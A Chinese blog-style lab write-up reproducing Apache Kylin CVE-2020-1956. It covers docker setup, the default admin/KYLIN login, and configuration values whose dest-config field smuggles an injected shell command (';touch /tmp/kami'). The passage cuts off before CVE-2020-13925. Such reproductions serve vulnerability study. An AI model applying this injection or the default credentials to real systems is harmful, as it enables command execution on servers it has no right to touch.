0x06Cve-2020-1956、Cve-2020-13925复现

Cve-2020-1956、Cve-2020-13925复现

参考：https://paper.seebug.org/1237/

http://www.ijiandao.com/2b/baijia/373874.html

这两个都是Kylin下的漏洞，放在一起复现了

环境：Kylin 官网文档 http://kylin.apache.org/cn/docs/install/kylin_docker.html

0x1 docker里下环境

0x2 运行docker

docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1

注意：login的页面要等一会儿才能出来（一开始一直没有页面还以为是哪里有问题查了一会儿…..

0x3 使用默认密码 admin/KYLIN 登录

0x01 Cve-2020-1956:

0x001 修改配置：

kylin.tool.auuto-migrate-cube.enabled=true
kylin.tool.auto-migrate-cube.src-config=/home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie
kylin.server.cluster-name=kylin_metadata
kylin.tool.auto-migrate-cube.dest-config=/tmp/kylin.properties kylin_streaming_cube learn_kylin true true true true;touch /tmp/kami;echo